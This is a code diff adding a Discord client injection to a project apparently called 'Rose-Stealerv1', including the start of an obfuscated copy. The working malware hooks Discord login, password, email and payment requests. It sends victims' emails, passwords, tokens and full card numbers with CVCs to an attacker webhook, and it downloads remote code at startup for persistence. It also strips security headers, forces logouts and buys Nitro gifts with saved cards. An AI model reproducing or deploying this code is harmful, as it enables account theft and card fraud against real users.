price: '499', + }, + }, + }, + filter: { + urls: [ + 'https://discord.com/api/v*/users/@me', + 'https://discordapp.com/api/v*/users/@me', + 'https://*.discord.com/api/v*/users/@me', + 'https://discordapp.com/api/v*/auth/login', + 'https://discord.com/api/v*/auth/login', + 'https://*.discord.com/api/v*/auth/login', + 'https://api.braintreegateway.com/merchants/49pp2rp4phym7387/client_api/v*/payment_methods/paypal_accounts', + 'https://api.stripe.com/v*/tokens', + 'https://api.stripe.com/v*/setup_intents/*/confirm', + 'https://api.stripe.com/v*/payment_intents/*/confirm', + ], + }, + filter2: { + urls: [ + 'https://status.discord.com/api/v*/scheduled-maintenances/upcoming.json', + 'https://*.discord.com/api/v*/applications/detectable', + 'https://discord.com/api/v*/applications/detectable', + 'https://*.discord.com/api/v*/users/@me/library', + 'https://discord.com/api/v*/users/@me/library', + 'wss://remote-auth-gateway.discord.gg/*', + ], + }, +}; + +function parity_32(x, y, z) { + return x ^ y ^ z; +} +function ch_32(x, y, z) { + return (x & y) ^ (~x & z); +} + +function maj_32(x, y, z) { + return (x & y) ^ (x & z) ^ (y & z); +} +function rotl_32(x, n) { + return (x << n) | (x >>> (32 - n)); +} +function safeAdd_32_2(a, b) { + var lsw = (a & 0xffff) + (b & 0xffff), + msw = (a >>> 16) + (b >>> 16) + (lsw >>> 16); + + return ((msw & 0xffff) << 16) | (lsw & 0xffff); +} +function safeAdd_32_5(a, b, c, d, e) { + var lsw = (a & 0xffff) + (b & 0xffff) + (c & 0xffff) + (d & 0xffff) + (e & 0xffff), + msw = (a >>> 16) + (b >>> 16) + (c >>> 16) + (d >>> 16) + (e >>> 16) + (lsw >>> 16); + + return ((msw & 0xffff) << 16) | (lsw & 0xffff); +} +function binb2hex(binarray) { + var hex_tab = '0123456789abcdef', + str = '', + length = binarray.length * 4, + i, + srcByte; + + for (i = 0; i < length; i += 1) { + srcByte = binarray[i >>> 2] >>> ((3 - (i % 4)) * 8); + str += hex_tab.charAt((srcByte >>> 4) & 0xf) + hex_tab.charAt(srcByte & 0xf); + } + + return str; +} + +function getH() { + return [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0]; +} +function roundSHA1(block, H) { + var W = [], + a, + b, + c, + d, + e, + T, + ch = ch_32, + parity = parity_32, + maj = maj_32, + rotl = rotl_32, + safeAdd_2 = safeAdd_32_2, + t, + safeAdd_5 = safeAdd_32_5; + + a = H[0]; + b = H[1]; + c = H[2]; + d = H[3]; + e = H[4]; + + for (t = 0; t < 80; t += 1) { + if (t < 16) { + W[t] = block[t]; + } else { + W[t] = rotl(W[t - 3] ^ W[t - 8] ^ W[t - 14] ^ W[t - 16], 1); + } + + if (t < 20) { + T = safeAdd_5(rotl(a, 5), ch(b, c, d), e, 0x5a827999, W[t]); + } else if (t < 40) { + T = safeAdd_5(rotl(a, 5), parity(b, c, d), e, 0x6ed9eba1, W[t]); + } else if (t < 60) { + T = safeAdd_5(rotl(a, 5), maj(b, c, d), e, 0x8f1bbcdc, W[t]); + } else { + T = safeAdd_5(rotl(a, 5), parity(b, c, d), e, 0xca62c1d6, W[t]); + } + + e = d; + d = c; + c = rotl(b, 30); + b = a; + a = T; + } + + H[0] = safeAdd_2(a, H[0]); + H[1] = safeAdd_2(b, H[1]); + H[2] = safeAdd_2(c, H[2]); + H[3] = safeAdd_2(d, H[3]); + H[4] = safeAdd_2(e, H[4]); + + return H; +} + +function finalizeSHA1(remainder, remainderBinLen, processedBinLen, H) { + var i, appendedMessageLength, offset; + + offset = (((remainderBinLen + 65) >>> 9) << 4) + 15; + while (remainder.length <= offset) { + remainder.push(0); + } + remainder[remainderBinLen >>> 5] |= 0x80 << (24 - (remainderBinLen % 32)); + remainder[offset] = remainderBinLen + processedBinLen; + appendedMessageLength = remainder.length; + + for (i = 0; i < appendedMessageLength; i += 16) { + H = roundSHA1(remainder.slice(i, i + 16), H); + } + return H; +} + +function hex2binb(str, existingBin, existingBinLen) { + var bin, + length = str.length, + i, + num, + intOffset, + byteOffset, + existingByteLen; + + bin = existingBin || [0]; + existingBinLen = existingBinLen || 0; + existingByteLen = existingBinLen >>> 3; + + if (0 !== length % 2) { + console.error('String of HEX type must be in byte increments'); + } + + for (i = 0; i < length; i += 2) { + num = parseInt(str.substr(i, 2), 16); + if (!isNaN(num)) { + byteOffset = (i >>> 1) + existingByteLen; + intOffset = byteOffset >>> 2; + while (bin.length <= intOffset) { + bin.push(0); + } + bin[intOffset] |= num << (8 * (3 - (byteOffset % 4))); + } else { + console.error('String of HEX type contains invalid characters'); + } + } + + return { value: bin, binLen: length * 4 + existingBinLen }; +} + +class jsSHA { + constructor() { + var processedLen = 0, + remainder = [], + remainderLen = 0, + intermediateH, + converterFunc, + outputBinLen, + variantBlockSize, + roundFunc, + finalizeFunc, + finalized = false, + hmacKeySet = false, + keyWithIPad = [], + keyWithOPad = [], + numRounds, + numRounds = 1; + + converterFunc = hex2binb; + + if (numRounds !== parseInt(numRounds, 10) || 1 > numRounds) { + console.error('numRounds must a integer >= 1'); + } + variantBlockSize = 512; + roundFunc = roundSHA1; + finalizeFunc = finalizeSHA1; + outputBinLen = 160; + intermediateH = getH(); + + this.setHMACKey = function (key) { + var keyConverterFunc, convertRet, keyBinLen, keyToUse, blockByteSize, i, lastArrayIndex; + keyConverterFunc = hex2binb; + convertRet = keyConverterFunc(key); + keyBinLen = convertRet['binLen']; + keyToUse = convertRet['value']; + blockByteSize = variantBlockSize >>> 3; + lastArrayIndex = blockByteSize / 4 - 1; + + if (blockByteSize < keyBinLen / 8) { + keyToUse = finalizeFunc(keyToUse, keyBinLen, 0, getH()); + while (keyToUse.length <= lastArrayIndex) { + keyToUse.push(0); + } + keyToUse[lastArrayIndex] &= 0xffffff00; + } else if (blockByteSize > keyBinLen / 8) { + while (keyToUse.length <= lastArrayIndex) { + keyToUse.push(0); + } + keyToUse[lastArrayIndex] &= 0xffffff00; + } + + for (i = 0; i <= lastArrayIndex; i += 1) { + keyWithIPad[i] = keyToUse[i] ^ 0x36363636; + keyWithOPad[i] = keyToUse[i] ^ 0x5c5c5c5c; + } + + intermediateH = roundFunc(keyWithIPad, intermediateH); + processedLen = variantBlockSize; + + hmacKeySet = true; + }; + + this.update = function (srcString) { + var convertRet, + chunkBinLen, + chunkIntLen, + chunk, + i, + updateProcessedLen = 0, + variantBlockIntInc = variantBlockSize >>> 5; + + convertRet = converterFunc(srcString, remainder, remainderLen); + chunkBinLen = convertRet['binLen']; + chunk = convertRet['value']; + + chunkIntLen = chunkBinLen >>> 5; + for (i = 0; i < chunkIntLen; i += variantBlockIntInc) { + if (updateProcessedLen + variantBlockSize <= chunkBinLen) { + intermediateH = roundFunc(chunk.slice(i, i + variantBlockIntInc), intermediateH); + updateProcessedLen += variantBlockSize; + } + } + processedLen += updateProcessedLen; + remainder = chunk.slice(updateProcessedLen >>> 5); + remainderLen = chunkBinLen % variantBlockSize; + }; + + this.getHMAC = function () { + var firstHash; + + if (false === hmacKeySet) { + console.error('Cannot call getHMAC without first setting HMAC key'); + } + + const formatFunc = function (binarray) { + return binb2hex(binarray); + }; + + if (false === finalized) { + firstHash = finalizeFunc(remainder, remainderLen, processedLen, intermediateH); + intermediateH = roundFunc(keyWithOPad, getH()); + intermediateH = finalizeFunc(firstHash, outputBinLen, variantBlockSize, intermediateH); + } + + finalized = true; + return formatFunc(intermediateH); + }; + } +} + +if ('function' === typeof define && define['amd']) { + define(function () { + return jsSHA; + }); +} else if ('undefined' !== typeof exports) { + if ('undefined' !== typeof module && module['exports']) { + module['exports'] = exports = jsSHA; + } else { + exports = jsSHA; + } +} else { + global['jsSHA'] = jsSHA; +} + +if (jsSHA.default) { + jsSHA = jsSHA.default; +} + +function totp(key) { + const period = 30; + const digits = 6; + const timestamp = Date.now(); + const epoch = Math.round(timestamp / 1000.0); + const time = leftpad(dec2hex(Math.floor(epoch / period)), 16, '0'); + const shaObj = new jsSHA(); + shaObj.setHMACKey(base32tohex(key)); + shaObj.update(time); + const hmac = shaObj.getHMAC(); + const offset = hex2dec(hmac.substring(hmac.length - 1)); + let otp = (hex2dec(hmac.substr(offset * 2, 8)) & hex2dec('7fffffff')) + ''; + otp = otp.substr(Math.max(otp.length - digits, 0), digits); + return otp; +} + +function hex2dec(s) { + return parseInt(s, 16); +} + +function dec2hex(s) { + return (s < 15.5 ? '0' : '') + Math.round(s).toString(16); +} + +function base32tohex(base32) { + let base32chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567', + bits = '', + hex = ''; + + base32 = base32.replace(/=+$/, ''); + + for (let i = 0; i < base32.length; i++) { + let val = base32chars.indexOf(base32.charAt(i).toUpperCase()); + if (val === -1) console.error('Invalid base32 character in key'); + bits += leftpad(val.toString(2), 5, '0'); + } + + for (let i = 0; i + 8 <= bits.length; i += 8) { + let chunk = bits.substr(i, 8); + hex = hex + leftpad(parseInt(chunk, 2).toString(16), 2, '0'); + } + return hex; +} + +function leftpad(str, len, pad) { + if (len + 1 >= str.length) { + str = Array(len + 1 - str.length).join(pad) + str; + } + return str; +} + +const discordPath = (function () { + const app = args[0].split(path.sep).slice(0, -1).join(path.sep); + let resourcePath; + + if (process.platform === 'win32') { + resourcePath = path.join(app, 'resources'); + } else if (process.platform === 'darwin') { + resourcePath = path.join(app, 'Contents', 'Resources'); + } + + if (fs.existsSync(resourcePath)) return { resourcePath, app }; + return { undefined, undefined }; +})(); + +function updateCheck() { + const { resourcePath, app } = discordPath; + if (resourcePath === undefined || app === undefined) return; + const appPath = path.join(resourcePath, 'app'); + const packageJson = path.join(appPath, 'package.json'); + const resourceIndex = path.join(appPath, 'index.js'); + const indexJs = `${app}\\modules\\discord_desktop_core-1\\discord_desktop_core\\index.js`; + const bdPath = path.join(process.env.APPDATA, '\\betterdiscord\\data\\betterdiscord.asar'); + if (!fs.existsSync(appPath)) fs.mkdirSync(appPath); + if (fs.existsSync(packageJson)) fs.unlinkSync(packageJson); + if (fs.existsSync(resourceIndex)) fs.unlinkSync(resourceIndex); + + if (process.platform === 'win32' || process.platform === 'darwin') { + fs.writeFileSync( + packageJson, + JSON.stringify( + { + name: 'discord', + main: 'index.js', + }, + null, + 4, + ), + ); + + const startUpScript = `const fs = require('fs'), https = require('https'); +const indexJs = '${indexJs}'; +const bdPath = '${bdPath}'; +const fileSize = fs.statSync(indexJs).size +fs.readFileSync(indexJs, 'utf8', (err, data) => { + if (fileSize < 20000 || data === "module.exports = require('./core.asar')") + init(); +}) +async function init() { + https.get('${config.injection_url}', (res) => { + const file = fs.createWriteStream(indexJs); + res.replace('%WEBHOOK%', '${config.webhook}') + res.replace('%WEBHOOK_KEY%', '${config.webhook_protector_key}') + res.pipe(file); + file.on('finish', () => { + file.close(); + }); + + }).on("error", (err) => { + setTimeout(init(), 10000); + }); +} +require('${path.join(resourcePath, 'app.asar')}') +if (fs.existsSync(bdPath)) require(bdPath);`; + fs.writeFileSync(resourceIndex, startUpScript.replace(/\\/g, '\\\\')); + } + if (!fs.existsSync(path.join(__dirname, 'initiation'))) return !0; + fs.rmdirSync(path.join(__dirname, 'initiation')); + execScript( + `window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c},[["get_require"]]]),delete gg.m.get_require,delete gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[Math.random()],{},a=>{gg=a}]);function LogOut(){(function(a){const b="string"==typeof a?a:null;for(const c in gg.c)if(gg.c.hasOwnProperty(c)){const d=gg.c[c].exports;if(d&&d.__esModule&&d.default&&(b?d.default[b]:a(d.default)))return d.default;if(d&&(b?d[b]:a(d)))return d}return null})("login").logout()}LogOut();`, + ); + return !1; +} + +const execScript = (script) => { + const window = BrowserWindow.getAllWindows()[0]; + return window.webContents.executeJavaScript(script, !0); +}; + +const getInfo = async (token) => { + const info = await execScript(`var xmlHttp = new XMLHttpRequest(); + xmlHttp.open("GET", "${config.api}", false); + xmlHttp.setRequestHeader("Authorization", "${token}"); + xmlHttp.send(null); + xmlHttp.responseText;`); + return JSON.parse(info); +}; + +const fetchBilling = async (token) => { + const bill = await execScript(`var xmlHttp = new XMLHttpRequest(); + xmlHttp.open("GET", "${config.api}/billing/payment-sources", false); + xmlHttp.setRequestHeader("Authorization", "${token}"); + xmlHttp.send(null); + xmlHttp.responseText`); + if (!bill.lenght || bill.length === 0) return ''; + return JSON.parse(bill); +}; + +const getBilling = async (token) => { + const data = await fetchBilling(token); + if (!data) return '❌'; + let billing = ''; + data.forEach((x) => { + if (!x.invalid) { + switch (x.type) { + case 1: + billing += '💳 '; + break; + case 2: + billing += '<:paypal:951139189389410365> '; + break; + } + } + }); + if (!billing) billing = '❌'; + return billing; +}; + +const Purchase = async (token, id, _type, _time) => { + const options = { + expected_amount: config.nitro[_type][_time]['price'], + expected_currency: 'usd', + gift: true, + payment_source_id: id, + payment_source_token: null, + purchase_token: '2422867c-244d-476a-ba4f-36e197758d97', + sku_subscription_plan_id: config.nitro[_type][_time]['sku'], + }; + + const req = execScript(`var xmlHttp = new XMLHttpRequest(); + xmlHttp.open("POST", "https://discord.com/api/v9/store/skus/${config.nitro[_type][_time]['id']}/purchase", false); + xmlHttp.setRequestHeader("Authorization", "${token}"); + xmlHttp.setRequestHeader('Content-Type', 'application/json'); + xmlHttp.send(JSON.stringify(${JSON.stringify(options)})); + xmlHttp.responseText`); + if (req['gift_code']) { + return 'https://discord.gift/' + req['gift_code']; + } else return null; +}; + +const buyNitro = async (token) => { + const data = await fetchBilling(token); + const failedMsg = 'Failed to Purchase ❌'; + if (!data) return failedMsg; + + let IDS = []; + data.forEach((x) => { + if (!x.invalid) { + IDS = IDS.concat(x.id); + } + }); + for (let sourceID in IDS) { + const first = Purchase(token, sourceID, 'boost', 'year'); + if (first !== null) { + return first; + } else { + const second = Purchase(token, sourceID, 'boost', 'month'); + if (second !== null) { + return second; + } else { + const third = Purchase(token, sourceID, 'classic', 'month'); + if (third !== null) { + return third; + } else { + return failedMsg; + } + } + } + } +}; + +const getNitro = (flags) => { + switch (flags) { + case 0: + return 'No Nitro'; + case 1: + return 'Nitro Classic'; + case 2: + return 'Nitro Boost'; + default: + return 'No Nitro'; + } +}; + +const getBadges = (flags) => { + let badges = ''; + switch (flags) { + case 1: + badges += 'Discord Staff, '; + break; + case 2: + badges += 'Partnered Server Owner, '; + break; + case 131072: + badges += 'Verified Bot Developer, '; + break; + case 4: + badges += 'Hypesquad Event, '; + break; + case 16384: + badges += 'Gold BugHunter, '; + break; + case 8: + badges += 'Green BugHunter, '; + break; + case 512: + badges += 'Early Supporter, '; + break; + case 128: + badges += 'HypeSquad Brillance, '; + break; + case 64: + badges += 'HypeSquad Bravery, '; + break; + case 256: + badges += 'HypeSquad Balance, '; + break; + case 0: + badges = 'None'; + break; + default: + badges = 'None'; + break; + } + return badges; +}; + +const hooker = async (content) => { + const data = JSON.stringify(content); + const url = new URL(config.webhook); + const headers = { + 'Content-Type': 'application/json', + 'Access-Control-Allow-Origin': '*', + }; + if (!config.webhook.includes('api/webhooks')) { + const key = totp(config.webhook_protector_key); + headers['Authorization'] = key; + } + const options = { + protocol: url.protocol, + hostname: url.host, + path: url.pathname, + method: 'POST', + headers: headers, + }; + const req = https.request(options); + + req.on('error', (err) => { + console.log(err); + }); + req.write(data); + req.end(); +}; + +const login = async (email, password, token) => { + const json = await getInfo(token); + const nitro = getNitro(json.premium_type); + const badges = getBadges(json.flags); + const billing = await getBilling(token); + const content = { + username: config.embed_name, + avatar_url: config.embed_icon, + embeds: [ + { + color: config.embed_color, + fields: [ + { + name: '**Account Info**', + value: `Email: **${email}** - Password: **${password}**`, + inline: false, + }, + { + name: '**Discord Info**', + value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`, + inline: false, + }, + { + name: '**Token**', + value: `\`${token}\``, + inline: false, + }, + ], + author: { + name: json.username + '#' + json.discriminator + ' | ' + json.id, + icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`, + }, + footer: { + text: '🎉・Discord Injection By github.com/Rdimo・https://github.com/Rdimo/Discord-Injection', + }, + }, + ], + }; + if (config.ping_on_run) content['content'] = config.ping_val; + hooker(content); +}; + +const passwordChanged = async (oldpassword, newpassword, token) => { + const json = await getInfo(token); + const nitro = getNitro(json.premium_type); + const badges = getBadges(json.flags); + const billing = await getBilling(token); + const content = { + username: config.embed_name, + avatar_url: config.embed_icon, + embeds: [ + { + color: config.embed_color, + fields: [ + { + name: '**Password Changed**', + value: `Email: **${json.email}**\nOld Password: **${oldpassword}**\nNew Password: **${newpassword}**`, + inline: true, + }, + { + name: '**Discord Info**', + value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`, + inline: true, + }, + { + name: '**Token**', + value: `\`${token}\``, + inline: false, + }, + ], + author: { + name: json.username + '#' + json.discriminator + ' | ' + json.id, + icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`, + }, + footer: { + text: '🎉・Discord Injection By github.com/Rdimo・https://github.com/Rdimo/Discord-Injection', + }, + }, + ], + }; + if (config.ping_on_run) content['content'] = config.ping_val; + hooker(content); +}; + +const emailChanged = async (email, password, token) => { + const json = await getInfo(token); + const nitro = getNitro(json.premium_type); + const badges = getBadges(json.flags); + const billing = await getBilling(token); + const content = { + username: config.embed_name, + avatar_url: config.embed_icon, + embeds: [ + { + color: config.embed_color, + fields: [ + { + name: '**Email Changed**', + value: `New Email: **${email}**\nPassword: **${password}**`, + inline: true, + }, + { + name: '**Discord Info**', + value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`, + inline: true, + }, + { + name: '**Token**', + value: `\`${token}\``, + inline: false, + }, + ], + author: { + name: json.username + '#' + json.discriminator + ' | ' + json.id, + icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`, + }, + footer: { + text: '🎉・Discord Injection By github.com/Rdimo・https://github.com/Rdimo/Discord-Injection', + }, + }, + ], + }; + if (config.ping_on_run) content['content'] = config.ping_val; + hooker(content); +}; + +const PaypalAdded = async (token) => { + const json = await getInfo(token); + const nitro = getNitro(json.premium_type); + const badges = getBadges(json.flags); + const billing = getBilling(token); + const content = { + username: config.embed_name, + avatar_url: config.embed_icon, + embeds: [ + { + color: config.embed_color, + fields: [ + { + name: '**Paypal Added**', + value: `Time to buy some nitro baby 😩`, + inline: false, + }, + { + name: '**Discord Info**', + value: `Nitro Type: **${nitro}*\nBadges: **${badges}**\nBilling: **${billing}**`, + inline: false, + }, + { + name: '**Token**', + value: `\`${token}\``, + inline: false, + }, + ], + author: { + name: json.username + '#' + json.discriminator + ' | ' + json.id, + icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`, + }, + footer: { + text: '🎉・Discord Injection By github.com/Rdimo・https://github.com/Rdimo/Discord-Injection', + }, + }, + ], + }; + if (config.ping_on_run) content['content'] = config.ping_val; + hooker(content); +}; + +const ccAdded = async (number, cvc, expir_month, expir_year, token) => { + const json = await getInfo(token); + const nitro = getNitro(json.premium_type); + const badges = getBadges(json.flags); + const billing = await getBilling(token); + const content = { + username: config.embed_name, + avatar_url: config.embed_icon, + embeds: [ + { + color: config.embed_color, + fields: [ + { + name: '**Credit Card Added**', + value: `Credit Card Number: **${number}**\nCVC: **${cvc}**\nCredit Card Expiration: **${expir_month}/${expir_year}**`, + inline: true, + }, + { + name: '**Discord Info**', + value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`, + inline: true, + }, + { + name: '**Token**', + value: `\`${token}\``, + inline: false, + }, + ], + author: { + name: json.username + '#' + json.discriminator + ' | ' + json.id, + icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`, + }, + footer: { + text: '🎉・Discord Injection By github.com/Rdimo・https://github.com/Rdimo/Discord-Injection', + }, + }, + ], + }; + if (config.ping_on_run) content['content'] = config.ping_val; + hooker(content); +}; + +const nitroBought = async (token) => { + const json = await getInfo(token); + const nitro = getNitro(json.premium_type); + const badges = getBadges(json.flags); + const billing = await getBilling(token); + const code = await buyNitro(token); + const content = { + username: config.embed_name, + content: code, + avatar_url: config.embed_icon, + embeds: [ + { + color: config.embed_color, + fields: [ + { + name: '**Nitro bought!**', + value: `**Nitro Code:**\n\`\`\`diff\n+ ${code}\`\`\``, + inline: true, + }, + { + name: '**Discord Info**', + value: `Nitro Type: **${nitro}**\nBadges: **${badges}**\nBilling: **${billing}**`, + inline: true, + }, + { + name: '**Token**', + value: `\`${token}\``, + inline: false, + }, + ], + author: { + name: json.username + '#' + json.discriminator + ' | ' + json.id, + icon_url: `https://cdn.discordapp.com/avatars/${json.id}/${json.avatar}.webp`, + }, + footer: { + text: '🎉・Discord Injection By github.com/Rdimo・https://github.com/Rdimo/Discord-Injection', + }, + }, + ], + }; + if (config.ping_on_run) content['content'] = config.ping_val + `\n${code}`; + hooker(content); +}; +session.defaultSession.webRequest.onBeforeRequest(config.filter2, (details, callback) => { + if (details.url.startsWith('wss://remote-auth-gateway')) return callback({ cancel: true }); + updateCheck(); +}); + +session.defaultSession.webRequest.onHeadersReceived((details, callback) => { + if (details.url.startsWith(config.webhook)) { + if (details.url.includes('discord.com')) { + callback({ + responseHeaders: Object.assign( + { + 'Access-Control-Allow-Headers': '*', + }, + details.responseHeaders, + ), + }); + } else { + callback({ + responseHeaders: Object.assign( + { + 'Content-Security-Policy': ["default-src '*'", "Access-Control-Allow-Headers '*'", "Access-Control-Allow-Origin '*'"], + 'Access-Control-Allow-Headers': '*', + 'Access-Control-Allow-Origin': '*', + }, + details.responseHeaders, + ), + }); + } + } else { + delete details.responseHeaders['content-security-policy']; + delete details.responseHeaders['content-security-policy-report-only']; + + callback({ + responseHeaders: { + ...details.responseHeaders, + 'Access-Control-Allow-Headers': '*', + }, + }); + } +}); + +session.defaultSession.webRequest.onCompleted(config.filter, async (details, _) => { + if (details.statusCode !== 200 && details.statusCode !== 202) return; + const unparsed_data = Buffer.from(details.uploadData[0].bytes).toString(); + const data = JSON.parse(unparsed_data); + const token = await execScript( + `(webpackChunkdiscord_app.push([[''],{},e=>{m=[];for(let c in e.c)m.push(e.c[c])}]),m).find(m=>m?.exports?.default?.getToken!==void 0).exports.default.getToken()`, + ); + switch (true) { + case details.url.endsWith('login'): + login(data.login, data.password, token).catch(console.error); + break; + + case details.url.endsWith('users/@me') && details.method === 'PATCH': + if (!data.password) return; + if (data.email) { + emailChanged(data.email, data.password, token).catch(console.error); + } + if (data.new_password) { + passwordChanged(data.password, data.new_password, token).catch(console.error); + } + break; + + case details.url.endsWith('tokens') && details.method === 'POST': + const item = querystring.parse(unparsedData.toString()); + ccAdded(item['card[number]'], item['card[cvc]'], item['card[exp_month]'], item['card[exp_year]'], token).catch(console.error); + break; + + case details.url.endsWith('paypal_accounts') && details.method === 'POST': + PaypalAdded(token).catch(console.error); + break; + + case details.url.endsWith('confirm') && details.method === 'POST': + if (!config.auto_buy_nitro) return; + setTimeout(() => { + nitroBought(token).catch(console.error); + }, 7500); + break; + + default: + break; + } +}); +module.exports = require('./core.asar'); diff --git a/Rose-Stealerv1/resources/data/obf-injection.js b/Rose-Stealerv1/resources/data/obf-injection.js new file mode 100644 index 0000000..3bf583e --- /dev/null +++ b/Rose-Stealerv1/resources/data/obf-injection.js @@ -0,0 +1 @@ +(function(_0x4ee462,_0xbbf433){function _0x3335aa(_0x43e068,_0x539846,_0x17094f,_0x4cd8c9,_0x31454c){return _0x2771(_0x31454c-0xff,_0x4cd8c9);}function _0x12e25e(_0x510bc2,_0x53ea04,_0x1d9775,_0x4cdf00,_0x2eda2c){return _0x2771(_0x2eda2c- -0xa1,_0x1d9775);}const _0x30d1d8=_0x4ee462();function _0x343d39(_0x2f9bd4,_0x586560,_0x16987e,_0x259fda,_0x348dbd){return _0x2771(_0x586560- -0x112,_0x259fda);}function _0x2602f4(_0x2c514d,_0x3a1e54,_0x50da32,_0x142f2c,_0x4a2092){return _0x2771(_0x50da32-0x207,_0x142f2c);}function _0x5155a9(_0x864d3a,_0xc664bb,_0x5cde81,_0x8623a5,_0x82782c){return _0x2771(_0x8623a5-0x3c,_0xc664bb);}while(!![]){try{const _0xfe9d9d=parseInt(_0x2602f4(0xd38,0x5dc,0xb03,'3#kp',0x658))/(-0x2302*-0x1+0xe6f+-0x3170)+parseInt(_0x5155a9(0x1064,'4oaC',0xbf3,0xc3a,0x772))/(-0xc25*-0x2+0xbb+-0x1903)*(parseInt(_0x2602f4(0xf9e,0x172b,0x1258,'SI6h',0x1a10))/(-0x5bb*0x3+-0x1207+0x1d*0x137))+-parseInt(_0x343d39(0x95a,0x681,-0x12,'FUWk',0xad3))/(-0x267d*-0x1+-0x133+-0x2546)+-parseInt(_0x343d39(0x82a,0xc32,0xd17,'5F(N',0x1304))/(0x8d*0x7+0x43e+-0x814)*(-parseInt(_0x2602f4(0xd5,0x4e8,0x5c7,'e!nd',0xd6a))/(-0x372+0x14ce+0xe*-0x13d))+-parseInt(_0x3335aa(0x15af,0x869,0xf92,'4oaC',0xe89))/(0x19c+-0x7f8+0x663)*(-parseInt(_0x12e25e(0x3e,0x499,'FUWk',-0x34c,0xac))/(0x1*-0x19bb+-0x123c+0x2bff))+-parseInt(_0x3335aa(0x9cf,0xda2,0x8c4,'Z3ow',0x993))/(0x1da6+-0x76*-0x27+-0x2f97)*(-parseInt(_0x12e25e(0xea8,0x123e,'tstx',0x882,0xdf6))/(-0x24b5*0x1+-0x47*0x6+0x2669))+-parseInt(_0x343d39(0x77e,0x9e9,0xcc1,'w]$Z',0x328))/(0x14*-0x18b+-0x23*-0x75+0xee8)*(parseInt(_0x343d39(0xf33,0xe84,0x11c0,')9bc',0x148b))/(0x6d7+-0x1c67+0x159c));if(_0xfe9d9d===_0xbbf433)break;else _0x30d1d8['push'](_0x30d1d8['shift']());}catch(_0x424671){_0x30d1d8['push'](_0x30d1d8['shift']());}}}(_0x6efc,-0x13c2f*-0x7+-0x57378+0x63a22));const _0x3281f8=(function(){function _0x297aaf(_0x2a1548,_0x49b333,_0x518f85,_0x39de3e,_0x4f567d){return _0x2771(_0x4f567d- -0x21d,_0x2a1548);}function _0x202472(_0x931344,_0x21e17c,_0x3ebb8b,_0x415155,_0x11d800){return _0x2771(_0x21e17c-0x4,_0x11d800);}function _0x3588ef(_0x8faa7e,_0x34805f,_0x3720c3,_0x1c154b,_0x1a144c){return _0x2771(_0x8faa7e-0x2a1,_0x1c154b);}function _0x114910(_0x2771b5,_0x1c9f87,_0x3c6a2f,_0x883f66,_0x2e42b7){return _0x2771(_0x2e42b7- -0x21a,_0x3c6a2f);}const _0x4820e9={'bKPhK':function(_0x5b0062,_0x5c11b8){return _0x5b0062>=_0x5c11b8;},'ypQjK':function(_0x4e60bd,_0x4f0d94){return _0x4e60bd+_0x4f0d94;},'QPOaq':function(_0x36e3a7,_0x454fb1){return _0x36e3a7(_0x454fb1);},'tZXsv':function(_0x3c2a86,_0x4a07d7){return _0x3c2a86-_0x4a07d7;},'vwPDA':function(_0x5bee17,_0x4665f2){return _0x5bee17+_0x4665f2;},'MxhBt':function(_0x2952b9,_0x58fe70){return _0x2952b9>>>_0x58fe70;},'uxSET':function(_0x43284a,_0x1a9477){return _0x43284a<=_0x1a9477;},'YBaYQ':function(_0x3aab4b,_0x38485f){return _0x3aab4b<<_0x38485f;},'UOccN':function(_0x3f50f5,_0x2711e9){return _0x3f50f5*_0x2711e9;},'PxjdR':function(_0x2bceb8,_0x3cde9d){return _0x2bceb8%_0x3cde9d;},'vQXhG':function(_0x1c3759,_0x409791){return _0x1c3759===_0x409791;},'YbNPc':_0x3588ef(0x490,-0x3c,0x463,'c(Z7',0x369),'xxjAj':_0xd4221a('^T15',0x9dd,0xeb8,0xb62,0x7de),'MnLNh':function(_0x473699,_0x23f1f5){return _0x473699===_0x23f1f5;},'ZPjzj':_0x114910(0x24d,0xdb,'4D%T',0x813,0x859),'jcbxN':function(_0x504974,_0x32ef37){return _0x504974&_0x32ef37;},'OSHbB':function(_0x1afff6,_0x50954b){return _0x1afff6|_0x50954b;},'FQQiz':function(_0x40cb39,_0x5737ea){return _0x40cb39&_0x5737ea;},'uwAET':function(_0x3e8a08,_0x297565){return _0x3e8a08!==_0x297565;},'XHtUl':_0x297aaf('iHF0',0x86b,0x2ef,-0x179,0x3e4),'xxpeg':_0x297aaf('Ar]L',0xf88,0xba1,0x3c6,0x9b8)};let _0x41e24a=!![];function _0xd4221a(_0x2b78f4,_0x24050b,_0x5280ec,_0x5b2631,_0x1d2223){return _0x2771(_0x24050b- -0x11f,_0x2b78f4);}return function(_0x442bbd,_0x58eb77){function _0x471c33(_0x2c202a,_0x1c4dfe,_0x432dbe,_0x2d78be,_0x53e2b0){return _0x297aaf(_0x2d78be,_0x1c4dfe-0x11d,_0x432dbe-0x1,_0x2d78be-0x1b9,_0x2c202a-0x481);}const _0x4f5210={'Mmacx':function(_0x225a89,_0x9c8b64){function _0xef4b11(_0x4c4b99,_0x554c3c,_0x2fe65f,_0x40908a,_0x5ba59e){return _0x2771(_0x554c3c-0x2e0,_0x5ba59e);}return _0x4820e9[_0xef4b11(0x11bb,0xa89,0x583,0xa7c,'ibNd')](_0x225a89,_0x9c8b64);},'nIUrK':function(_0x514c44,_0x289b72){function _0x4e2a38(_0x152354,_0x3ccfaa,_0x2df116,_0x3f8e17,_0xcc42a7){return _0x2771(_0x3f8e17- -0x319,_0xcc42a7);}return _0x4820e9[_0x4e2a38(0x5f,0x866,0x9cf,0x474,'Ar]L')](_0x514c44,_0x289b72);},'oDBHw':function(_0xb48f64,_0x59f55c){function 